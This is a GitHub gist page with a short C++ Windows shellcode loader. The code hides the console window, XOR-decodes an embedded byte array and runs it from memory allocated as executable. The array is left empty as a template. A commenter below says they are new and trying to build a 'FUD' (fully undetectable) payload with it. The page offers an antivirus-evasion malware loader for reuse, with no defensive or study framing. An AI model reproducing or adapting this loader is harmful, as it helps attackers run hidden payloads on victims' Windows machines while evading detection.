Skip to content

Instantly share code, notes, and snippets.

@Edu4rdSHL
Created February 26, 2021 00:34
Show Gist options
  • Save Edu4rdSHL/f9f349a9cce881b0fafb50cefdbc5bb5 to your computer and use it in GitHub Desktop.
Save Edu4rdSHL/f9f349a9cce881b0fafb50cefdbc5bb5 to your computer and use it in GitHub Desktop.
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
char b[] = { };
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
@beboynew
Copy link

It's made to build on a Windows OS, not a Linux one.

oops, had another question, so i have to put this in Microsoft Visual Studio and run it ? or i should put it in Microsoft Visual Studio and transform it as a .exe ? As i said earlier i'm new to all of this and trying to create a FUD payload so ..
And thank's again for your help.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment